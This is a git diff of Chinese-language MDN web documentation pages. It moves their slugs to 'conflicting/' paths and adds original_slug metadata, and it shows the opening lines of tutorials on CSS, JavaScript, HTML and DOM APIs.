diff --git a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html index 7fcb01c0b0..973ec37d71 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/how_css_works_b66915031fb62b5fee1201086144e209/index.html @@ -1,8 +1,10 @@ --- title: What is CSS -slug: Web/Guide/CSS/Getting_started/What_is_CSS +slug: >- + conflicting/Learn/CSS/First_steps/How_CSS_works_b66915031fb62b5fee1201086144e209 translation_of: Learn/CSS/First_steps/How_CSS_works translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS +original_slug: Web/Guide/CSS/Getting_started/What_is_CSS ---
{{CSSTutorialTOC}}
diff --git a/files/zh-cn/conflicting/learn/css/first_steps/index.html b/files/zh-cn/conflicting/learn/css/first_steps/index.html index 585243aa2a..d18a052149 100644 --- a/files/zh-cn/conflicting/learn/css/first_steps/index.html +++ b/files/zh-cn/conflicting/learn/css/first_steps/index.html @@ -1,9 +1,9 @@ --- title: CSS入门教程 -slug: Web/Guide/CSS/Getting_started +slug: conflicting/Learn/CSS/First_steps tags: - CSS - - 'CSS:Getting_Started' + - CSS:Getting_Started - CSS入门 - CSS教程 - Web @@ -11,6 +11,7 @@ tags: - 教程 translation_of: Learn/CSS/First_steps translation_of_original: Web/Guide/CSS/Getting_started +original_slug: Web/Guide/CSS/Getting_started ---

 

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html index fd67fc382c..730c8cbca6 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals/index.html @@ -1,11 +1,12 @@ --- title: 理解下划线 -slug: Understanding_Underlines +slug: conflicting/Learn/CSS/Styling_text/Fundamentals tags: - - 'CSS:Articles' + - CSS:Articles translation_of: >- Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration translation_of_original: Understanding_Underlines +original_slug: Understanding_Underlines ---

对于 Web 设计者来说, 想移除其设计中某些 (或全部) 超链接的下划线是相当常见的事情。但是由于在过去浏览器中的一些不标准的行为, 一些人在删除超链接中下划线的正确方法方面存在一些问题。最常见的错误是这样做:

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html index f7d1d38b23..128204ecbc 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/fundamentals_5a3f2ce7cc4f23ec431e57a447af0711/index.html @@ -1,8 +1,10 @@ --- title: 文本样式 -slug: Web/Guide/CSS/Getting_started/Text_styles +slug: >- + conflicting/Learn/CSS/Styling_text/Fundamentals_5a3f2ce7cc4f23ec431e57a447af0711 translation_of: Learn/CSS/Styling_text/Fundamentals translation_of_original: Web/Guide/CSS/Getting_started/Text_styles +original_slug: Web/Guide/CSS/Getting_started/Text_styles ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html index 8a85655517..61655596da 100644 --- a/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html +++ b/files/zh-cn/conflicting/learn/css/styling_text/styling_lists/index.html @@ -1,8 +1,9 @@ --- title: Lists -slug: Web/Guide/CSS/Getting_started/Lists +slug: conflicting/Learn/CSS/Styling_text/Styling_lists translation_of: Learn/CSS/Styling_text/Styling_lists translation_of_original: Web/Guide/CSS/Getting_started/Lists +original_slug: Web/Guide/CSS/Getting_started/Lists ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html index 67056c679b..45171f78c7 100644 --- a/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html +++ b/files/zh-cn/conflicting/learn/getting_started_with_the_web/javascript_basics/index.html @@ -1,10 +1,11 @@ --- title: 起步(Javascript 教程) -slug: Web/JavaScript/Getting_Started +slug: conflicting/Learn/Getting_started_with_the_web/JavaScript_basics tags: - bug-840092 translation_of: Learn/Getting_started_with_the_web/JavaScript_basics translation_of_original: Web/JavaScript/Getting_Started +original_slug: Web/JavaScript/Getting_Started ---

JavaScript是什么?

diff --git a/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html index fd51ef502f..81d56d0055 100644 --- a/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ b/files/zh-cn/conflicting/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -1,6 +1,6 @@ --- title: Email links -slug: Web/Guide/HTML/Email_links +slug: conflicting/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks tags: - HTML5 - SEO @@ -9,6 +9,7 @@ tags: - mailto translation_of: Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#E-mail_links translation_of_original: Web/Guide/HTML/Email_links +original_slug: Web/Guide/HTML/Email_links ---

这往往是有益的Web站点能够创建链接或按钮,点击后,打开一个新的出站电子邮件。例如,这可能会创造一个“联系我们”按钮时使用。这是使用完成{{HTMLElement("a")}} 元素和mailto URL方案。.

diff --git a/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html index f1ebacd184..b2537fe024 100644 --- a/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html +++ b/files/zh-cn/conflicting/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -1,6 +1,6 @@ --- title: 使用 HTML5 音频和视频 -slug: Web/Guide/HTML/Using_HTML5_audio_and_video +slug: conflicting/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content tags: - Flash - HTML @@ -17,6 +17,7 @@ tags: - 音频 translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content translation_of_original: Web/Guide/HTML/Using_HTML5_audio_and_video +original_slug: Web/Guide/HTML/Using_HTML5_audio_and_video ---

HTML5 通过HTML标签“audio”和“video”来支持嵌入式的媒体,使开发者能够方便地将媒体嵌入到HTML文档中。

diff --git a/files/zh-cn/conflicting/learn/index.html b/files/zh-cn/conflicting/learn/index.html index 9e2e40d682..33efe52747 100644 --- a/files/zh-cn/conflicting/learn/index.html +++ b/files/zh-cn/conflicting/learn/index.html @@ -1,8 +1,9 @@ --- title: 如何建设一个网站 -slug: Learn/tutorial/How_to_build_a_web_site +slug: conflicting/Learn translation_of: Learn translation_of_original: Learn/tutorial/How_to_build_a_web_site +original_slug: Learn/tutorial/How_to_build_a_web_site ---

  当我们在学习网页设计时,许多人都希望尽快建设一个属于自己的网站。为了让你建站之路更平坦,我们已经缩小了你所需要的最低限度的知识。

diff --git a/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html index 1f53ff70ba..91b8d79a01 100644 --- a/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ b/files/zh-cn/conflicting/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -1,8 +1,9 @@ --- title: JavaScript 与 CSS -slug: Web/Guide/CSS/Getting_started/JavaScript +slug: conflicting/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents translation_of_original: Web/Guide/CSS/Getting_started/JavaScript +original_slug: Web/Guide/CSS/Getting_started/JavaScript ---

{{ CSSTutorialTOC() }}

diff --git a/files/zh-cn/conflicting/learn/javascript/objects/index.html b/files/zh-cn/conflicting/learn/javascript/objects/index.html index 1ae4554c63..9ae0bde819 100644 --- a/files/zh-cn/conflicting/learn/javascript/objects/index.html +++ b/files/zh-cn/conflicting/learn/javascript/objects/index.html @@ -1,6 +1,6 @@ --- title: JavaScript面向对象简介 -slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +slug: conflicting/Learn/JavaScript/Objects tags: - JavaScript - OOP @@ -13,6 +13,7 @@ tags: - 面向对象 translation_of: Learn/JavaScript/Objects translation_of_original: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +original_slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript ---
{{jsSidebar("Introductory")}}
diff --git a/files/zh-cn/conflicting/learn/server-side/django/index.html b/files/zh-cn/conflicting/learn/server-side/django/index.html index 95ec82f251..86ecd5bb6c 100644 --- a/files/zh-cn/conflicting/learn/server-side/django/index.html +++ b/files/zh-cn/conflicting/learn/server-side/django/index.html @@ -1,11 +1,12 @@ --- title: Python -slug: Python +slug: conflicting/Learn/Server-side/Django tags: - Python - Services translation_of: Learn/Server-side/Django translation_of_original: Python +original_slug: Python ---

Python 是一款直译式脚本语言,支持包括 Linux、Mac OS X 和 Microsoft Windows 在内的多种平台。

diff --git a/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html index 922d45fbc1..757accbc32 100644 --- a/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html +++ b/files/zh-cn/conflicting/learn_30ccce5e65b5ce795fc2e288fe9d012b/index.html @@ -1,12 +1,13 @@ --- title: Tutorials -slug: Learn/tutorial +slug: conflicting/Learn_30ccce5e65b5ce795fc2e288fe9d012b tags: - Index - NeedsTranslation - TopicStub translation_of: Learn translation_of_original: Learn/tutorial +original_slug: Learn/tutorial ---

It's great to know about Web technologies and the concepts behind them, but at some point it's time to turn theory into practice. We've set up some pathways that will help you get results with Web technology and enjoy the power you unlock as you learn!

diff --git a/files/zh-cn/conflicting/mdn/contribute/index.html b/files/zh-cn/conflicting/mdn/contribute/index.html index 8e298ed29b..2bdaafa3d0 100644 --- a/files/zh-cn/conflicting/mdn/contribute/index.html +++ b/files/zh-cn/conflicting/mdn/contribute/index.html @@ -1,7 +1,8 @@ --- -title: 'MDC:How to Help' -slug: 'MDC:怎样进行帮助' +title: MDC:How to Help +slug: conflicting/MDN/Contribute translation_of: MDN/Contribute -translation_of_original: 'MDC:How_to_Help' +translation_of_original: MDC:How_to_Help +original_slug: MDC:怎样进行帮助 ---

你好,世界!

diff --git a/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html index b2b145fe60..1398443c47 100644 --- a/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html +++ b/files/zh-cn/conflicting/mdn/guidelines/css_style_guide/index.html @@ -1,8 +1,9 @@ --- title: 内容块 -slug: MDN/Guidelines/Content_blocks +slug: conflicting/MDN/Guidelines/CSS_style_guide translation_of: MDN/Guidelines/CSS_style_guide translation_of_original: MDN/Structures/Content_blocks +original_slug: MDN/Guidelines/Content_blocks ---
{{MDNSidebar}}

This pages lists reusable content blocks.

diff --git a/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html index 0aaec74b1f..afd1b849ca 100644 --- a/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html +++ b/files/zh-cn/conflicting/mozilla/add-ons/webextensions/user_interface/index.html @@ -1,8 +1,9 @@ --- title: 用户界面元素 -slug: Mozilla/Add-ons/WebExtensions/用户界面元素 +slug: conflicting/Mozilla/Add-ons/WebExtensions/user_interface translation_of: Mozilla/Add-ons/WebExtensions/user_interface translation_of_original: Mozilla/Add-ons/WebExtensions/User_interface_components +original_slug: Mozilla/Add-ons/WebExtensions/用户界面元素 ---
{{AddonSidebar}}
diff --git a/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html index f1169710b4..c7a388f299 100644 --- a/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html +++ b/files/zh-cn/conflicting/tools/keyboard_shortcuts/index.html @@ -1,8 +1,9 @@ --- title: 使用源代码编辑器 -slug: Tools/Using_the_Source_Editor +slug: conflicting/tools/Keyboard_shortcuts translation_of: tools/Keyboard_shortcuts#Source_editor translation_of_original: Tools/Using_the_Source_Editor +original_slug: Tools/Using_the_Source_Editor ---
{{ToolsSidebar}}

源代码编辑器是一个编辑器组件,由源editor.jsm的Java Script代码模块的提供,这是共享的几个开发工具,包括暂存器和样式编辑器。它也可以被使用的Firefox扩展。本文说明如何使用编辑器来编辑文本。.

键盘命令

diff --git a/files/zh-cn/conflicting/tools/performance/index.html b/files/zh-cn/conflicting/tools/performance/index.html index e2f7da543c..a6187179d2 100644 --- a/files/zh-cn/conflicting/tools/performance/index.html +++ b/files/zh-cn/conflicting/tools/performance/index.html @@ -1,8 +1,9 @@ --- title: JavaScript Profiler -slug: Tools/Profiler +slug: conflicting/Tools/Performance translation_of: Tools/Performance translation_of_original: Tools/Profiler +original_slug: Tools/Profiler ---
{{ToolsSidebar}}

使用Profiler工具找到你的JavaScript代码的瓶颈. Profiler会定期统计JavaScript样本的堆栈信息.

diff --git a/files/zh-cn/conflicting/web/accessibility/index.html b/files/zh-cn/conflicting/web/accessibility/index.html index b01b7be6dd..061aae9a6e 100644 --- a/files/zh-cn/conflicting/web/accessibility/index.html +++ b/files/zh-cn/conflicting/web/accessibility/index.html @@ -1,10 +1,11 @@ --- title: Web Development -slug: Web/Accessibility/Web_Development +slug: conflicting/Web/Accessibility tags: - 网页无障碍访问 translation_of: Web/Accessibility translation_of_original: Web/Accessibility/Web_Development +original_slug: Web/Accessibility/Web_Development ---

本篇文档为开发者提供了有关网站无障碍访问以及XUL无障碍开发的更多信息。

diff --git a/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html index 3cef2b94e8..f81a2be43c 100644 --- a/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html +++ b/files/zh-cn/conflicting/web/api/canvas_api/tutorial/index.html @@ -1,8 +1,9 @@ --- title: Drawing graphics with canvas -slug: Web/API/Canvas_API/Drawing_graphics_with_canvas +slug: conflicting/Web/API/Canvas_API/Tutorial translation_of: Web/API/Canvas_API/Tutorial translation_of_original: Web/API/Canvas_API/Drawing_graphics_with_canvas +original_slug: Web/API/Canvas_API/Drawing_graphics_with_canvas ---

本文大部分(但不包括关于绘制窗体部分的文档)已经被包含到更详尽的Canvas教程中,该页面因为现在已经显得多余可能会被链接到那里,但是某些信息可能仍然是十分有用的。

diff --git a/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html index 1366009032..3fd5c0018d 100644 --- a/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html +++ b/files/zh-cn/conflicting/web/api/crypto/getrandomvalues/index.html @@ -1,8 +1,9 @@ --- title: RandomSource -slug: Web/API/RandomSource +slug: conflicting/Web/API/Crypto/getRandomValues translation_of: Web/API/Crypto/getRandomValues translation_of_original: Web/API/RandomSource +original_slug: Web/API/RandomSource ---

{{APIRef("Web Crypto API")}}

diff --git a/files/zh-cn/conflicting/web/api/document/characterset/index.html b/files/zh-cn/conflicting/web/api/document/characterset/index.html index 00701e8acf..ce06fbc644 100644 --- a/files/zh-cn/conflicting/web/api/document/characterset/index.html +++ b/files/zh-cn/conflicting/web/api/document/characterset/index.html @@ -1,8 +1,9 @@ --- title: document.inputEncoding -slug: Web/API/Document/inputEncoding +slug: conflicting/Web/API/Document/characterSet translation_of: Web/API/Document/characterSet translation_of_original: Web/API/Document/inputEncoding +original_slug: Web/API/Document/inputEncoding ---

{{ ApiRef() }} {{ deprecated_header() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/document/createevent/index.html b/files/zh-cn/conflicting/web/api/document/createevent/index.html index 8b9c249c71..84d91c4dec 100644 --- a/files/zh-cn/conflicting/web/api/document/createevent/index.html +++ b/files/zh-cn/conflicting/web/api/document/createevent/index.html @@ -1,6 +1,6 @@ --- title: Event.createEvent() -slug: Web/API/Event/createEvent +slug: conflicting/Web/API/Document/createEvent tags: - DOM - Event @@ -8,6 +8,7 @@ tags: - Method translation_of: Web/API/Document/createEvent translation_of_original: Web/API/Event/createEvent +original_slug: Web/API/Event/createEvent ---

{{APIRef("DOM")}}

diff --git a/files/zh-cn/conflicting/web/api/document/hasfocus/index.html b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html index df29adde76..db40737695 100644 --- a/files/zh-cn/conflicting/web/api/document/hasfocus/index.html +++ b/files/zh-cn/conflicting/web/api/document/hasfocus/index.html @@ -1,6 +1,6 @@ --- title: HTML 焦点管理 -slug: Web/HTML/Focus_management_in_HTML +slug: conflicting/Web/API/Document/hasFocus tags: - DOM - HTML @@ -8,6 +8,7 @@ tags: - 焦点 translation_of: Web/API/Document/hasFocus translation_of_original: Web/HTML/Focus_management_in_HTML +original_slug: Web/HTML/Focus_management_in_HTML ---

重定向 Document.hasFocus()

diff --git a/files/zh-cn/conflicting/web/api/document_object_model/index.html b/files/zh-cn/conflicting/web/api/document_object_model/index.html index 80f115abfd..d7a4164ee9 100644 --- a/files/zh-cn/conflicting/web/api/document_object_model/index.html +++ b/files/zh-cn/conflicting/web/api/document_object_model/index.html @@ -1,8 +1,9 @@ --- title: 前言 -slug: Web/API/Document_Object_Model/Preface +slug: conflicting/Web/API/Document_Object_Model translation_of: Web/API/Document_Object_Model translation_of_original: Web/API/Document_Object_Model/Preface +original_slug: Web/API/Document_Object_Model/Preface ---

{{ ApiRef() }}

关于此参考文档

diff --git a/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html index e09b7ab597..285ced6f96 100644 --- a/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html +++ b/files/zh-cn/conflicting/web/api/document_object_model_dd00a71ceceac547ab464128db6bd8ef/index.html @@ -1,6 +1,6 @@ --- title: DOM 开发者指南 -slug: Web/Guide/API/DOM +slug: conflicting/Web/API/Document_Object_Model_dd00a71ceceac547ab464128db6bd8ef tags: - API - DOM @@ -9,6 +9,7 @@ tags: - TopicStub translation_of: Web/API/Document_Object_Model translation_of_original: Web/Guide/API/DOM +original_slug: Web/Guide/API/DOM ---

{{draft}}

diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html index 6fb591e1da..83bcafb45b 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementfrompoint/index.html @@ -1,8 +1,9 @@ --- title: Document.elementFromPoint() -slug: Web/API/Document/elementFromPoint +slug: conflicting/Web/API/DocumentOrShadowRoot/elementFromPoint translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint translation_of_original: Web/API/Document/elementFromPoint +original_slug: Web/API/Document/elementFromPoint ---
{{APIRef()}} {{Fx_minversion_header(3)}}
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html index 9a7ee01503..3b1043f630 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/elementsfrompoint/index.html @@ -1,8 +1,9 @@ --- title: Document.elementsFromPoint() -slug: Web/API/Document/elementsFromPoint +slug: conflicting/Web/API/DocumentOrShadowRoot/elementsFromPoint translation_of: Web/API/DocumentOrShadowRoot/elementsFromPoint translation_of_original: Web/API/Document/elementsFromPoint +original_slug: Web/API/Document/elementsFromPoint ---
{{APIRef("DOM")}}{{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html index 73b3a4ce6b..dce4bc9c58 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/getselection/index.html @@ -1,8 +1,9 @@ --- title: document.getSelection -slug: Web/API/Document/getSelection +slug: conflicting/Web/API/DocumentOrShadowRoot/getSelection translation_of: Web/API/DocumentOrShadowRoot/getSelection translation_of_original: Web/API/Document/getSelection +original_slug: Web/API/Document/getSelection ---
diff --git a/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html index de44c8537b..088be5bd6b 100644 --- a/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html +++ b/files/zh-cn/conflicting/web/api/documentorshadowroot/stylesheets/index.html @@ -1,8 +1,9 @@ --- title: Document.styleSheets -slug: Web/API/Document/styleSheets +slug: conflicting/Web/API/DocumentOrShadowRoot/styleSheets translation_of: Web/API/DocumentOrShadowRoot/styleSheets translation_of_original: Web/API/Document/styleSheets +original_slug: Web/API/Document/styleSheets ---
{{APIRef}}
diff --git a/files/zh-cn/conflicting/web/api/dommatrix/index.html b/files/zh-cn/conflicting/web/api/dommatrix/index.html index 16fe55276d..364ba0709c 100644 --- a/files/zh-cn/conflicting/web/api/dommatrix/index.html +++ b/files/zh-cn/conflicting/web/api/dommatrix/index.html @@ -1,8 +1,9 @@ --- title: CSSMatrix -slug: Web/API/CSSMatrix +slug: conflicting/Web/API/DOMMatrix translation_of: Web/API/DOMMatrix translation_of_original: Web/API/CSSMatrix +original_slug: Web/API/CSSMatrix ---
{{APIRef("CSSOM")}}{{Non-standard_header}}
diff --git a/files/zh-cn/conflicting/web/api/element/index.html b/files/zh-cn/conflicting/web/api/element/index.html index 2a489d3b22..51c660e9ce 100644 --- a/files/zh-cn/conflicting/web/api/element/index.html +++ b/files/zh-cn/conflicting/web/api/element/index.html @@ -1,6 +1,6 @@ --- title: Slotable -slug: Web/API/Slotable +slug: conflicting/Web/API/Element tags: - API - Web Components @@ -8,6 +8,7 @@ tags: - 接口 translation_of: Web/API/Slottable translation_of_original: Web/API/Slotable +original_slug: Web/API/Slotable ---

{{APIRef("Shadow DOM")}}

diff --git a/files/zh-cn/conflicting/web/api/event/composedpath/index.html b/files/zh-cn/conflicting/web/api/event/composedpath/index.html index 61bfdf1366..525b27f4b8 100644 --- a/files/zh-cn/conflicting/web/api/event/composedpath/index.html +++ b/files/zh-cn/conflicting/web/api/event/composedpath/index.html @@ -1,8 +1,9 @@ --- title: Event.deepPath -slug: Web/API/Event/deepPath +slug: conflicting/Web/API/Event/composedPath translation_of: Web/API/Event/composedPath translation_of_original: Web/API/Event/deepPath +original_slug: Web/API/Event/deepPath ---

{{SeeCompatTable}}{{APIRef("Shadow DOM")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html index f637813381..0d43c26ea1 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/addeventlistener/index.html @@ -1,9 +1,10 @@ --- title: 为这个EventTarget附加事件. -slug: Web/API/EventTarget/attachEvent +slug: conflicting/Web/API/EventTarget/addEventListener tags: - Junk translation_of: Web/API/EventTarget/addEventListener translation_of_original: Web/API/EventTarget/attachEvent +original_slug: Web/API/EventTarget/attachEvent ---

{{DOMxRef("EventTarget.addEventListener","EventTarget.addEventListener()")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html index edc74b2306..f28ce6bc9a 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/dispatchevent/index.html @@ -1,8 +1,9 @@ --- title: EventTarget.fireEvent() -slug: Web/API/EventTarget/fireEvent +slug: conflicting/Web/API/EventTarget/dispatchEvent translation_of: Web/API/EventTarget/dispatchEvent translation_of_original: Web/API/EventTarget/fireEvent +original_slug: Web/API/EventTarget/fireEvent ---

{{APIRef("DOM Events")}}

diff --git a/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html index 3b4cbcfd90..4331abb35c 100644 --- a/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html +++ b/files/zh-cn/conflicting/web/api/eventtarget/removeeventlistener/index.html @@ -1,6 +1,6 @@ --- title: EventTarget.detachEvent() -slug: Web/API/EventTarget/detachEvent +slug: conflicting/Web/API/EventTarget/removeEventListener tags: - API - DOM @@ -8,6 +8,7 @@ tags: - Non-standard translation_of: Web/API/EventTarget/removeEventListener translation_of_original: Web/API/EventTarget/detachEvent +original_slug: Web/API/EventTarget/detachEvent ---

{{APIRef("DOM Events")}}

diff --git a/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html index 90ace79b50..8322c91998 100644 --- a/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html +++ b/files/zh-cn/conflicting/web/api/file_and_directory_entries_api/introduction/index.html @@ -1,8 +1,9 @@ --- title: File System API guide -slug: WebGuide/API/File_System +slug: conflicting/Web/API/File_and_Directory_Entries_API/Introduction translation_of: Web/API/File_and_Directory_Entries_API/Introduction translation_of_original: WebGuide/API/File_System +original_slug: WebGuide/API/File_System ---

{{ SeeCompatTable() }}

The File System API simulates a local file system that web apps can navigate around. You can develop apps that can read, write, and create files and directories in a virtual, sandboxed file system.

diff --git a/files/zh-cn/conflicting/web/api/geolocation/index.html b/files/zh-cn/conflicting/web/api/geolocation/index.html index f5432039ba..e38bc3e6b7 100644 --- a/files/zh-cn/conflicting/web/api/geolocation/index.html +++ b/files/zh-cn/conflicting/web/api/geolocation/index.html @@ -1,8 +1,9 @@ --- title: NavigatorGeolocation -slug: Web/API/NavigatorGeolocation +slug: conflicting/Web/API/Geolocation translation_of: Web/API/Geolocation translation_of_original: Web/API/NavigatorGeolocation +original_slug: Web/API/NavigatorGeolocation ---

{{APIRef("Geolocation API")}}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html index 2ff983926f..a792bdd45d 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ongotpointercapture/index.html @@ -1,6 +1,6 @@ --- title: Element.ongotpointercapture -slug: Web/API/Element/ongotpointercapture +slug: conflicting/Web/API/GlobalEventHandlers/ongotpointercapture tags: - API - DOM @@ -16,6 +16,7 @@ tags: - 指针事件 translation_of: Web/API/GlobalEventHandlers/ongotpointercapture translation_of_original: Web/API/Element/ongotpointercapture +original_slug: Web/API/Element/ongotpointercapture ---

{{ ApiRef("DOM") }}

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html index 03a4b116b8..2a1afdf2ac 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onmouseup/index.html @@ -1,8 +1,9 @@ --- title: window.onmouseup -slug: Web/API/Window/onmouseup +slug: conflicting/Web/API/GlobalEventHandlers/onmouseup translation_of: Web/API/GlobalEventHandlers/onmouseup translation_of_original: Web/API/Window/onmouseup +original_slug: Web/API/Window/onmouseup ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html index af48e1575f..9bd58ff3f5 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/onscroll/index.html @@ -1,8 +1,9 @@ --- title: window.onscroll -slug: Web/API/Window/onscroll +slug: conflicting/Web/API/GlobalEventHandlers/onscroll translation_of: Web/API/GlobalEventHandlers/onscroll translation_of_original: Web/API/Window/onscroll +original_slug: Web/API/Window/onscroll ---

{{ ApiRef() }}

概述

